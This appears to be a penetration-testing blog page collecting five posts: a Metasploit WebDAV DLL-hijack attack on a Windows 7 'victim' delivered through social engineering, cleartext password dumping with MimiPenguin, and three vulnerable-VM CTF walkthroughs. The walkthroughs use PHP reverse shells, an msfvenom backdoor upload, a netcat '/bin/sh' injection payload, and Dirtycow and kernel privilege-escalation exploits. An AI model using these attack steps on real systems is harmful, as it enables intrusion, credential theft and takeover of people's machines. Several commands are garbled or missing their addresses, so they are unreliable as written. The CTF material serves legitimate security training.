Showing posts with label Penetration Testing. Show all posts
Showing posts with label Penetration Testing. Show all posts

Exploit Windows 7 PC using Torrent File

Through this article, you will learn WebDAV application DLL hijacking exploitation using Metasploit framework and try to hack the victim through malicious code execution.
Attacker: Kali Linux
Target: Window 7 (torrent)
Let’s start!!!

Open the terminal and type msfconsole to load metasploit framework.

This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type.

Use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) >set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) >set lhost
msf exploit(webdav_dll_hijacker) >set extensions torrent
msf exploit(webdav_dll_hijacker) >exploit

It has generate a malicious code which you can perceive from screenshot the highlighted text \\\documents\, so now being an attacker you are suggested to share this link to your targeted client using social engineering.

Once you have shared malicious code link to the client then must for your meterpreter session, now when client will open the link he will be intended to a document folder with many file extensions and attacker will receive his meterpreter session.

Hence meterpreter session 1 opened successfully now we are connected with target through port 4444.

msf exploit(webdav_dll_hijacker) >sessions 1
meterpreter> sysinfo


Dump Cleartext Password in Linux PC using MimiPenguin

Hello friends! Through this article we are introducing a new tool MINIPENUIN between us, which can utilize for fetching login of Linux system in same way as MIMIKATZ. 
A tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz.

Takes advantage of clear text credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Will attempt to calculate each word's probability by checking hashes in /etc/shadow, hashes in memory, and regex searches.

Let’s begin
Open the terminal and type following command to download it from git hub.
Cd Desktop

git clone

cd mimipenguin

Now run the bash file to catch the clear text credential
From screenshot you can see I have got login credential root: toor.

Hack the Nightmare VM (CTF Challenge)

Today we are going to solve Wallaby’s Nightmare CTF which is a new VM challenge of vulnhub where attacker has to achieve root flag of the targeted VM machine; you can download it from here.


As we always start from network so that we can have target IP. In your kali Linux open the terminal and type netdiscover, now from screenshot you can see list of IP. Here is my target IP.

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- A
So here I found three ports 22, 80, 6667 are open.

Since port 80 is open I look toward browser and explore target ip where I found a comment “enter a username to get started with this CTF” then I type the name “RAJ” and click on submit so that we could move forward into start the game.

When I clicked on submit tab it linked to next web page where you can read the assign username for this CTF from screenshot now we can start this CTF when we will click on given link start the CTF!

Next web page open with exclusive warning that Mr. Wallaby found raj is trying to penetrate inside the server so user “raj” is under his observation. Then soon after reading this threat   I observe at its URL I thought it might be vulnerable to etc/passwd same as LFI attack.

Then I try browse following in URL though the web page stand up with raw data but nothing was quite useful in this web page. And when I refresh it I lose connection from port 80. As raj was threaten by Wallaby ;-) 

 Again I move toward nmap so that I can make sure about port 80 but here I found a new port 60080 is open for http service as you can perceive this thing from given screenshot.

Then I next my next tool dirb
Now from screenshot you can see the result and currently we will look toward highlighted directory.

So when I browse in URL the resultant web page gets opened and I found nothing especial here except “coming soon guys!

Then I look after page source code to get some clue, here inside HTML code the anchor tag contains a link for another file which you can see from screenshot.

Again I browse above highlighted text in URL and the web page comes outside with /var/www/html
Hence we can say that the current page might good for executing malicious comment as command.  

Now load metasploit framework to connect with victim through reverse connection
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>set lhost (IP of Local Host)
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set svrport 8081
msf exploit (web_delivery)>exploit
Now copy the generated command php….UvrG’));” and send it to target

From screenshot you can see I have paste above malicious PHP comment inside url in hope to get reverse connection inside metasploit.

So when I execute this comment I receive meterpreter session and get connected with victim shell
Meterpreter> sysinfo
echo "import pty; pty.spawn('/bin/bash')" > /tmp/ python /tmp/
cd /tmp

Now use “Dirtycow exploit” therefore type following command to download this exploit inside tmp folder of victim.

Now type following command to compile your exploit so that it can run successfully inside your Kali Linux.
gcc cowroot.c –o cowroot -pthread

Now we can run our exploit to achieve root permission and try to capture the flag
cd /root
Cat flag.txt
Congratulation!!! We have captured the flag which you can see from screenshot and beat this task………..

Hack the Bot challenge: Dexter (Boot2Root Challenge)

Hi friends! Today we are going to face Bot challenge in new VM machine of vulnhub design by Mr. Brian Wallace. In this tutorial you will how to access root privilege by generating malicious bot. you can download this challenge from here.

Let’s start!!!
Open the terminal of Klai Linux to Identify the target in your network using netdiscover command.

From screenshot you can see the highlighted target IP :

Enumerate open port of targeted IP using nmap therefore type following command:
nmap -p- -Pn
From its scanning result we come to know that port 22, 80, 111, 55844 are open ports.

Seeing as port 80 is open I come across towards browser and look at target IP Here the web page was pointing out towards two more different links “Panel” and “Dexter Analysis for a different botnet”.
When I visit to second link it was redirected to another web site and I found this link is not for our use but when I click on “panel” this linked me to a login page.

So now I was at login page and I have no idea for its username: password here I also try sql login form injection but couldn’t breach this login page.

Now next I choose dirbuster for directory brute force attack to step forward in expectation to get some directories inside it.

From screenshot you can perceive the files and directories which I found through brute force attack. Next we need to explore these directories in browser so that we can find our any clue to breach login page.

I start with upload.php where we can upload our malicious file or backdoor as you can see from screenshot I try to upload hacked.php file but nothing happened. Then I try to explore another directory but unable to find any clue regarding this task.

When I investigate more, then after wasting much I found apart from all directories only gateway.php was suffering from blind SQL injection vulnerable but here the post parameter was encoded with base 64.

Now attacker has two options either configure sqlmap to retrieve credential or download relevant exploit Dexter Casino Loader SQL Injection given by Brian Wallace. I had use this exploit to find out login credential. You can download it from here.

Once you have downloaded it then type following command in terminal:
Now you will get login credential for bot panel.

Then I typed above fetched username and password into login form.

The panel has three basic features; bot control, dump viewer, and file upload.  Without wasting time I click on upload options.

Now again I will try to upload php backdoor so that we get reverse connection of target system.

Now use msfvenom to generate malicious PHP script and type following command.

msfvenom -p php/meterpreter/reverse_tcp lhost= lport=4444 -f raw

From screenshot you can read the generated PHP script, at this instant we need to copy the text highlighted text further we will past it inside text document and saved with shell.php and multi handler inside metasploit.

Now go back to upload directory and upload shell.php now you can see from given image the shell.php file is successfully upload inside /panel/exes.

Here we are going to execute shell.php which gives reverse connection in metasploit framework.

Awesome! We have victim’s metrepreter session
Metrepreter > ls
Metrepreter > cd var/www
Metrepreter > ls
Inside /var/www I found my bot file antitamper.list, now first we will download it
Metrepreter >download antitamper.list   /root/Desktop

Here you can read the downloaded file then add you malicious bot inside it

Now I have add my malicious bot  then upload it again inside /var/www and  start netcat for reverse connection then run
"shell": "'; /bin/nc -e /bin/sh 4444 #",

Nc –nlvp 4444
Hurray!!! We have got root connection.

Hack the Fartknocker VM (CTF Challenge)

Top HatSec built a VM image “Fart knocker” and kept the challenge to capture the flag in his machine. This VM box is mainly design for testing your network penetration skills, before solving this challenge you must know about network packet analysis and port knocking.

 Let’s begin!

Scan your network using netdiscover command I found an IP address in my network.

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- A
So here I found only single port 80 is open

Since port 80 is open I look toward browser and explore target ip, here I got a Link “Woah” without wasting time I just clicked on it.

Link Woah contains a pcap1.pcap file; I download it to find out some clue.

This file open with wireshark here I distinguish that VM box trying to connect over TCP ports 7000, 8000, and 9000. Behind the machine efforts on those 3 ports it gets discarded and some obstructed attempts on a connection RST, ACK; when I dig out more I found this technique is known as port knocking.
Port 7000 is used for connection but rejected.

Port 8000 is used for connection but rejected.

Port 9000 is used for connection but rejected.

Now send packets to 7000, 8000, 9000 so that these ports sequence will open another port. Therefore type following command for nmap to perform a Sequential Port Scan.
nmap -r -p 7000, 8000, 9000

Once again scan target machine using aggressive scan.
Nmap –p- A
Great!  Here we can see 8888 is open now and from screenshot you read a new directory /burgerworld/

Then I run towards browser to explore this time again I found another link heheh..hehh that contains one more pcap file again I download that pcap2.pcap file.

Now the game is very clear Top HatSec had involve port knowing at each step, again I opened pcap2 file with wireshark but this time I didn’t found any port knocking sequence therefore I randomly select a packet to follow it TCP stream.  Here you can select any packet make right click on it and choose follow option.

TCP stream captured the following image point towards another clue through CAN YOU UNDERSTAND MY MESSAGE!
Hush! His message was in German language!  

When I translate it I got one three three seven. This port 1337 could be another knocking port.

Again type following command for nmap to perform a Sequential Port Scan.
Nmap -r -p 1337
Oooh!!! It is showing waste service means perform a Sequential Port Scan fail to knock 1337.

Use another way “netcat” to knock port 1337:
Nc –nv 1337
But connection refused now try single port number.
 Nc –nv 1
Nc –nv 3
Nc –nv 3
Nc –nv 7
Finally port 1337 get opened which points towards /iamcornholio/

This time I found a base 64 encode string which should to be decoded so that we can move forward.

I took the help of burp suite to decode this string “T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK” and what I found was quite interesting.
Open up SSH: 8888 9999 7777 6666

Again Use “netcat” to knock following port:
Nc –nv 8888
Nc –nv 9999
Nc –nv 7777
Nc –nv 6666

From screenshot you can I have use version scan for target.
Nmap –SV
Awesome port 22 is opened for SSH

Now try to connect with target through ssh –l butthead /bin/bash
Here I got successfully login now type following command
Uname –a
I Found kernel version 3.13.0 now let’s find out whether there is any exploit related to its present or not.

With the help of Google I found an exploit from screenshot you can see the link for “ofs 32” click on it to download this exploit that allow a local user to take administration privilege.

Now type following command to download ofs 32 inside victim’s system and then achieve root privileges to capture the flag.

Cd /root
Cat secretz
!!This was very curies and most challenging machine!!